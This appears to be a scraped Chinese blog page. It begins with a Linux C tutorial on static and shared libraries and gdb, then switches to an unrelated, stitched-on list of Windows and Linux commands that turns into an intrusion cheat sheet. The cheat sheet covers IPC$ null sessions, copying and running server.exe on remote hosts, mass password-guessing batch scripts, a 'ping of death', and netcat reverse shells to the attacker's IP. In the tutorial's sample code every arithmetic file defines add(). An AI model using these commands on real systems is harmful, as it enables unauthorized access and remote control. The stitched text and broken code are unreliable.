    $ gcc -c sub.c -o sub.o -fPIC
    $ gcc -c div1.c -o div1.o -fPIC
    $ ls
    add.c  add.o  div1.c  div1.o  sub.c  sub.o
    
    # 2. 使用 gcc -shared 制作动态库
    $ gcc -shared -o libmymath.so add.o sub.o div1.o
    $ ls
    add.c  add.o  div1.c  div1.o  libmymath.so  sub.c  sub.o
    
    # 3. 编译可执行程序时指定所使用的动态库。-l:指定库名 -L:指定库路径
    # 链接器:工作于链接阶段,工作时需要 -l 和 -L
    # 此处 -l 后的库名需要去掉前缀 lib- 和后缀 .so
    $ gcc test.c -o test -l mymath -L ./lib
    # 当存在头文件且在 include 目录下,静态库文件在 lib 目录下时
    $ gcc test.c -o test -l mymath -L ./lib -I ./include
    
    # 4. 动态链接器:工作于程序运行阶段,工作时需要提供动态库所在目录位置
    $ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/lib  # 临时生效,终端重启后环境变量失效
    $ vi ~/.bashrc  # 永久生效,将 export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:./lib 写入 .bashrc,建议使用绝对路径
    $ source .bashrc
    

4.3 项目实战

  • 1. 创建一个目录 mycal
    $ mkdir mycal
    
  • 2. 创建 4 个 c 文件和 1 个 h 头文件,分别实现加减乘除
    // add.c
    int add(int a, int b) {
        return a+b;
    }
    
    // sub.c
    int add(int a, int b) {
        return a-b;
    }
    
    // mul.c
    int add(int a, int b) {
        return a*b;
    }
    
    // dive.c
    int add(int a, int b) {
        return a/b;
    }
    
    // common.h
    #ifndef COMMON_H_
    #define COMMON_H_
    
    int add(int a, int b);
    int sub(int a, int b);
    int dive(int a, int b);
    int mul(int a, int b);
    
    #endif
    
  • 3. 制作静态库
    $ gcc -c add.c sub.c mul.c dive.c
    $ ar rcs libmycal.a add.o sub.o mul.o dive.o
    
  • 4. 制作动态库
    $ gcc -c add.c sub.c mul.c dive.c -fPIC
    $ gcc -shared -Wl, -soname, libmycal.so.1 -o libmycal.so.1.10 add.o sub.o mul.o dive.o
    
  • 5. 设置共享库加载路径
    • 打开共享库路径配置文件
    $ sudo vi /etc/ld.so.conf
    # 最后一行添加 mycal 路径
    /home/yue-VirtualBox/mycal
    
    • 更新共享库加载路径
    $ sudo ldconfig -v
    
    • 手动添加 link name
    $ ln -s libmycal.so.1.10 libmycal.so
    
  • 6. 编写测试文件 main.c,分别去链接静态库和共享库
    // main.c
    #include <stdio.h>
    #include "common.h"
    
    int main(void) {
        printf("%d\n", add(5, 3));
        return 0;
    }
    

5. gdb 调试工具

  • 使用 gdb 之前,要求对文件进行编译时增加 -g 参数
    • 加了这个参数过后生成的编译文件会大一些,这是因为增加了 gdb 调试内容
    • gdb 无法检查语法错误(gcc 检查),只能检查逻辑错误
  • gdb 的基本思想是:分析现象->假设错误原因->产生新的现象去验证假设

5.1 基础指令

list/l:列出源码,根据源码指定行号设置断点
break/b:b 20 在 20 行位置设置断点
run/r:全速运行程序
start:单步运行程序
next/n:下一条指令(会越过函数)
step/s:下一条指令(会进入函数)
print/p:p i 查看变量的值
delete/d:删除断点
continue/c:继续执行断点后续指令(剩下代码)
finish:结束当前函数调用
quit:退出 gdb 当前调试

5.2 高级指令

run:使用 run 查找段错误出现位置
set args:设置 main 函数命令行参数(在 start、run 之前)
run argv[1] argv[2]:设置 main 函数命令行参数(调试时命令行传参)
info b:查看断点信息表
b 20 if i = 5:设置条件断点
ptype:查看变量类型
backtrace/bt:查看函数的调用的栈帧和层级关系
frame:根据栈帧编号,切换栈帧
display:设置跟踪变量
undisplay:取消设置跟踪变量,使用跟踪变量的编号

栈帧:随着函数调用而在 stack 上开辟的一片内存空间,用于存放函数调用时产生的局部变量和临时值,随函数调用结束而自动释放内存空间

5.3 案例演示

// gdbtest.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#define N 10

char *str = "hello ";
int var = 0;

void init_arr(int *arr, int len) {
    int i = 0;
    
    for (i = 0; i < len; i++) {
        arr[i] = rand() % 20 + 1;
    }
}

void select_sort(int *arr, int len) {
    int i, j, k, tmp;
    
    for (i = 0; i < len - 1; i++) {
        k = i;
        for (j = i + 1; j < len; j++) {
            if (arr[k] > arr[j]) {
                k = j;
            }
        }
    
        if (i != k) {
            tmp = arr[i];
            arr[i] = arr[k];
            arr[k] = tmp;
        }
    }
}

void print_arr(int *arr, int len) {
    int i;
    
    for (i = 0; i < len; i++) {
        printf("arr[%d] = %d\n", i, arr[i]);
    }
}

int main(void) {
    int arr[N];
    char *p = "hello";
    
    srand(time(NULL));
    init_arr(arr, N);
    print_arr(arr, N);
    //p[3] = 'M';
    
    select_sort(arr, N);
    printf("------after sort------\n");
    print_arr(arr, N);
    
    return 0;
}
$ gcc gdbtest.c -o gdbtest -g
$ gdb gdbtest 
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from gdbtest...done.
(gdb) list 1
1	#include <stdio.h>
2	#include <stdlib.h>
3	#include <time.h>
4	
5	#define N 10
6	
7	char *str = "hello ";
8	int var = 0;
9	
10	void init_arr(int *arr, int len) {
(gdb) l
11		int i = 0;
12		
13		for (i = 0; i < len; i++) {
14			arr[i] = rand() % 20 + 1;
15		}
16	}
17	
18	void select_sort(int *arr, int len) {
19		int i, j, k, tmp;
20	
(gdb) b 50
Breakpoint 1 at 0x9b6: file gdbtest.c, line 50.
(gdb) r
Starting program: /home/yue/gdbtest 

Breakpoint 1, main () at gdbtest.c:50
50		init_arr(arr, N);
s
init_arr (arr=0x7fffffffdae0, len=10) at gdbtest.c:11
11		int i = 0;
(gdb) n
13		for (i = 0; i < len; i++) {
(gdb) s
14			arr[i] = rand() % 20 + 1;
(gdb) n
13		for (i = 0; i < len; i++) {
(gdb) p i 
$1 = 0
(gdb) continue 
Continuing.
arr[0] = 5
arr[1] = 13
arr[2] = 3
arr[3] = 12
arr[4] = 17
arr[5] = 19
arr[6] = 7
arr[7] = 15
arr[8] = 8
arr[9] = 16
------after sort------
arr[0] = 3
arr[1] = 5
arr[2] = 7
arr[3] = 8
arr[4] = 12
arr[5] = 13
arr[6] = 15
arr[7] = 16
arr[8] = 17
arr[9] = 19
[Inferior 1 (process 3214) exited normally]
(gdb) run   # 增加该行代码后 p[3] = 'M'; 出现段错误,直接使用 run 调试会跳转到段错误所在行
Starting program: /home/yue/gdbtest 
arr[0] = 10
arr[1] = 14
arr[2] = 2
arr[3] = 18
arr[4] = 10
arr[5] = 3
arr[6] = 18
arr[7] = 19
arr[8] = 16
arr[9] = 11

Program received signal SIGSEGV, Segmentation fault.
0x00005555555549e0 in main () at gdbtest.c:52
52		p[3] = 'M';
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) 命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在 Windows 98 中却没有集成这一个工具。    4. explorer-------打开资源管理器    5. logoff---------注销命令    6. shutdown-------60秒倒计时关机命令    7. lusrmgr.msc----本机用户和组    8. services.msc---本地服务设置    9. oobe/msoobe /a----检查XP是否激活    10. notepad--------打开记事本    11. cleanmgr-------垃圾整理    12. net start messenger----开始信使服务    13. compmgmt.msc---计算机管理    14. net stop messenger-----停止信使服务    15. conf-----------启动netmeeting    16. dvdplay--------DVD播放器    17. charmap--------启动字符映射表    18. diskmgmt.msc---磁盘管理实用程序    19. calc-----------启动计算器    20. dfrg.msc-------磁盘碎片整理程序    21. chkdsk.exe-----Chkdsk磁盘检查    22. devmgmt.msc--- 设备管理器    23. regsvr32 /u *.dll----停止dll文件运行    24. drwtsn32------ 系统医生    25. rononce -p----15秒关机    26. dxdiag---------检查DirectX信息    27. regedt32-------注册表编辑器    28. Msconfig.exe---系统配置实用程序    29. rsop.msc-------组策略结果集    30. mem.exe--------显示内存使用情况    31. regedit.exe----注册表    32. winchat--------XP自带局域网聊天    33. progman--------程序管理器    34. winmsd---------系统信息    35. perfmon.msc----计算机性能监测程序    36. winver---------检查Windows版本    37. sfc /scannow-----扫描错误并复原    38. taskmgr-----任务管理器(2000/xp/2003)    39. regsvr32 /u *.dll----停止dll文件运行    40. wmimgmt.msc----打开windows管理体系结构(WMI)    41. wupdmgr--------windows更新程序    42. wscript--------windows脚本宿主设置    43. write----------写字板    45. wiaacmgr-------扫描仪和照相机向导    46. winchat--------XP自带局域网聊天    49. mplayer2-------简易widnows media player    50. mspaint--------画图板    51. mstsc----------远程桌面连接    53. magnify--------放大镜实用程序    54. mmc------------打开控制台    55. mobsync--------同步命令    57. iexpress-------木马捆绑工具,系统自带    58. fsmgmt.msc-----共享文件夹管理器    59. utilman--------辅助工具管理器    61. dcomcnfg-------打开系统组件服务    62. ddeshare-------打开DDE共享设置    63. osk------------打开屏幕键盘    64. odbcad32-------ODBC数据源管理器    65. oobe/msoobe /a----检查XP是否激活    66. cmd.exe--------CMD命令提示符    67. regsvr32 /u zipfldr.dll------取消ZIP支持    68. ntbackup-------系统备份和还原    69. narrator-------屏幕“讲述人”    70. ntmsmgr.msc----移动存储管理器    71. ntmsoprq.msc---移动存储管理员操作请求    72. netstat -an----(TC)命令检查接口    73. syncapp--------创建一个公文包    74. sysedit--------系统配置编辑器    75. sigverif-------文件签名验证程序    76. ciadv.msc------索引服务程序    77. shrpubw--------创建共享文件夹    78. secpol.msc-----本地安全策略    79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码    80. services.msc---本地服务设置    81. Sndvol32-------音量控制程序    82. sfc.exe--------系统文件检查器    83. sfc /scannow---windows文件保护    84. ciadv.msc------索引服务程序    85. tourstart------xp简介(安装完成后出现的漫游xp程序)    86. taskmgr--------任务管理器    87. eventvwr-------事件查看器    88. eudcedit-------造字程序    89. compmgmt.msc---计算机管理    90. packager-------对象包装程序    91. perfmon.msc----计算机性能监测程序    92. charmap--------启动字符映射表    93. cliconfg-------SQL SERVER 客户端网络实用程序    94. Clipbrd--------剪贴板查看器    95. conf-----------启动netmeeting    96. certmgr.msc----证书管理实用程序 操作详解 net use ipipc$ " " /user:" " 建立IPC空链接    net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接    net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:    net use h: ipc$ 登陆后映射对方C:到本地为H:    net use ipipc$ /del 删除IPC链接    net use h: /del 删除映射对方到本地的为H:的映射    net user 用户名 密码 /add 建立用户    net user guest /active:yes 激活guest用户    net user 查看有哪些用户    net user 帐户名 查看帐户的属性    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限    net start 查看开启了哪些服务    net start 服务名 开启服务;(如:net start telnet, net start schedule)    net stop 服务名 停止某服务    net time 目标ip 查看对方时间    net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息    net view 查看本地局域网内开启了哪些共享    net view ip 查看对方局域网内开启了哪些共享    net config 显示系统网络设置    net logoff 断开连接的共享    net pause 服务名 暂停某服务    net send ip "文本信息" 向对方发信息    net ver 局域网内正在使用的网络连接类型和信息    net share 查看本地开启的共享    net share ipc$ 开启ipc$共享    net share ipc$ /del 删除ipc$共享    net share c$ /del 删除C:共享    net user guest 12345 用guest用户登陆后用将密码改为12345    net password 密码 更改系统登陆密码    netstat -a 查看开启了哪些端口,常用netstat -an    netstat -n 查看端口的网络连接情况,常用netstat -an    netstat -v 查看正在进行的工作    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况    netstat -s 查看正在使用的所有协议使用情况    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名   tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。   ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)   ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件   del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令    at id号 开启已注册的某个计划任务    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止    at id号 /delete 停止某个已注册的计划任务   at 查看所有的计划任务    at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机   finger username @host 查看最近有哪些用户登陆    telnet ip 端口 远和登陆服务器,默认端口为23    open ip 连接到IP(属telnet登陆后的命令)    telnet 在本机上直接键入telnet 将进入本机的telnet    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下    copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件    copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件   用参数/e才可连目录下的子目录一起复制到目标地址下。    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令    mem 查看cpu使用情况    attrib 文件名(目录名) 查看某文件(目录)的属性    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间    set 指定环境变量名称=要指派给变量的字符 设置环境变量    set 显示当前所有的环境变量    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量    pause 暂停批处理程序,并显示出:请按任意键继续....    if 在批处理程序中执行条件处理(更多说明见if命令及变量)    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)   for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置    echo 信息 在屏幕上显示出信息    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello    find 文件名 查找某文件    title 标题名字 更改CMD窗口标题名字    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )    ver 在DOS窗口下显示版本信息    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS    md 目录名 创建目录    replace 源文件 要替换文件的目录 替换文件    ren 原文件名 新文件名 重命名文件名    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称    type 文件名 显示文本文件的内容    more 文件名 逐屏显示输出文件    doskey 要锁定的命令=字符    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=    taskmgr 调出任务管理器    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe   path 路径可执行文件的文件名 为可执行文件设置一个路径。    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;    regedit /e 注册表文件名 导出注册表    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。    cacls 文件名 查看文件的访问用户权限列表    REM 文本内容 在批处理文件中添加注解    netsh 查看或更改本地网络配置情况    IIS服务命令    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)    iisreset /start或stop 启动(停止)所有Internet服务    iisreset /restart 停止然后重新启动所有Internet服务    iisreset /status 显示所有Internet服务状态    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机   iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。    FTP 命令:(后面有详细说明内容)    ftp的命令行格式为:   ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。    -d 使用调试方式。    -n 限制ftp的自动登录,即不使用.netrc文件。    -g 取消全局文件名。    help [命令] 或 ?[命令] 查看命令说明    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.    pwd 列出当前远端主机目录    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中    mget [remote-files] 从远端主机接收一批文件至本地主机    mput local-files 将本地主机中一批文件传送至远端主机    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件    ascii 设定以ASCII方式传送文件(缺省值)    bin 或 image 设定以二进制方式传送文件    bell 每完成一次文件传送,报警提示    cdup 返回上一级目录    close 中断与远程服务器的ftp会话(与open对应)    open host[port] 建立指定ftp服务器连接,可指定连接端口    delete 删除远端主机中的文件    mdelete [remote-files] 删除一批文件    mkdir directory-name 在远端主机中建立目录    rename [from] [to] 改变远端主机中的文件名    rmdir directory-name 删除远端主机中的目录    status 显示当前FTP的状态    system 显示远端主机系统类型    user user-name [password] [account] 重新以别的用户名登录远端主机    open host [port] 重新建立一个新的连接    prompt 交互提示模式    macdef 定义宏命令    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录   chmod 改变远端主机的文件权限    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母   cd remote-dir 进入远程主机目录    cdup 进入远程主机目录的父目录   ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip   #5    MYSQL 命令    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。   (例:mysql -h110.110.110.110 -Uroot -P123456   注:u与root可以不用加空格,其它也一样)    exit 退出MYSQL    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码    grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)   show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。   use mysql;    show tables; 显示库中的数据表    describe 表名; 显示数据表的结构    create database 库名; 建库   use 库名;    create table 表名 (字段设定列表); 建表    drop database 库名;    drop table 表名; 删库和删表    delete from 表名; 将表中记录清空    select * from 表名; 显示表中的记录    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。    win2003系统下新增命令(实用部份):    shutdown /参数 关闭或重启本地或远程主机。   参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。   例:shutdown /r /t 0 立即重启本地主机(无延时)   taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。   参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。   参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。    Linux系统下基本命令 注:要区分大小写    uname 显示版本信息(同win2K的 ver)    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)   pwd 查询当前所在的目录位置   cd cd ..回到上一层目录,注意cd 与..之间有空格。 cd /返回到根目录。   cat 文件名 查看文件内容   cat >abc.txt 往abc.txt文件中写上内容。   more 文件名 以一页一页的方式显示一个文本文件。   cp 复制文件    mv 移动文件 rm 文件名 删除文件,rm -a 目录名删除目录及子目录    mkdir 目录名 建立目录    rmdir 删除子目录,目录内没有文档。    chmod 设定档案或目录的存取权限    grep 在档案中查找字符串    diff 档案文件比较    find 档案搜寻    date 现在的日期、时间    who 查询目前和你使用同一台机器的人以及Login时间地点    w 查询目前上机者的详细资料    whoami 查看自己的帐号名称    groups 查看某人的Group    passwd 更改密码    history 查看自己下过的命令    ps 显示进程状态    kill 停止某进程    gcc 黑客通常用它来编译C语言写的文件    su 权限转换为指定使用者    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。    ftp ftp连接上某服务器(同win2K)    批处理命令与变量    1:for命令及变量 基本格式    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2,user为%3    (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开   command_parameters:为特定命令指定参数或命令行开关   IN (set):指在(set)中取值;DO command :指执行command 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。    用法举例:   @echo off   echo 用法格式:test.bat *.*.* > test.txt   for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。   /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。   @echo off   echo 用法格式:ok.bat ip   FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200   存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。    七:   2:if命令及变量 基本格式   IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。   例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。   0 指发现并成功执行(真);1 指没有发现、没执行(假)。   IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。   例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")   IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。   例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。   IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”   系统外部命令   注:系统外部命令(均需下载相关工具)   瑞士军刀:nc.exe    参数说明:   -h 查看帮助信息   -d 后台模式   -e prog程序重定向,一但连接就执行[危险]   -i secs延时的间隔   -l 监听模式,用于入站连接   -L 监听模式,连接天闭后仍然继续监听,直到CTR+C   -n IP地址,不能用域名   -o film记录16进制的传输   -p[空格]端口 本地端口号   -r 随机本地及远程端口   -t 使用Telnet交互方式   -u UDP模式   -v 详细输出,用-vv将更详细   -w数字 timeout延时间隔   -z 将输入,输出关掉(用于扫锚时)   基本用法:   nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口   nc -l -p 80 开启本机的TCP 80端口并监听   nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口   nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口   nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口   高级用法:   nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止   nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt   nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   本机上用: nc -l -p 本机端口   在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K   nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙   本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机   备 注:   | 管道命令    重定向命令。“<;”,例如:tlntadmn > d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中   >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。   如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。   八:   扫描工具:xscan.exe   基本格式   xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息   xscan -file [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息   检测项目   -active 检测主机是否存活   -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)   -port 检测常用服务的端口状态   -ftp 检测FTP弱口令   -pub 检测FTP服务匿名用户写权限   -pop3 检测POP3-Server弱口令   -smtp 检测SMTP-Server漏洞   -sql 检测SQL-Server弱口令   -smb 检测NT-Server弱口令  